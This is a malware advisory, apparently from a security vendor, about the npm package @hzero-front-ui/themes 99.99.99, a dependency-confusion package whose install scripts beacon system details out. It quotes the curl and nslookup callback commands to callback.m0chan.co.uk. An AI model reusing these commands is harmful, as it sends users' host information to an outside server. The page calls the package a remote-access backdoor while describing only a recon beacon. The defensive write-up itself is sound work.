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Malicious package

@hzero-front-ui/themesnpm

Advisory published Updated

@hzero-front-ui/themes is a confirmed malicious npm package (MAL-2026-13971) that opens a backdoor for remote access (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @hzero-front-ui/themes (npm)

MAL-2026-13971
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @hzero-front-ui/themes

What this malware does

package.json defines preinstall and install lifecycle scripts that run automatically on npm install. The scripts collect the installer's whoami, hostname, pwd, and $npm_package_name, base64-encode them, and beacon them to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The scoped name @hzero-front-ui/themes combined with version 99.99.99 is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.

Malicious versions

1 flagged
99.99.99

Indicators of compromise (SHA-256)

aac0df9dcfaeaf0958ef981d9c5cd9dd4ab1fe0de41bd20894c261dade6bb486

Detection & response playbook

Backdoor / remote access

  1. Find it

    Search your lockfiles and build artifacts for @hzero-front-ui/themes (version 99.99.99).

  2. If you installed it — respond

    @hzero-front-ui/themes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If @hzero-front-ui/themes was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @hzero-front-ui/themes on npm has been identified as a malicious package (version 99.99.99 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017672

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @hzero-front-ui/themes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

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@hzero-front-ui/themes (npm) malicious package — MAL-2026-13971 | O3 Security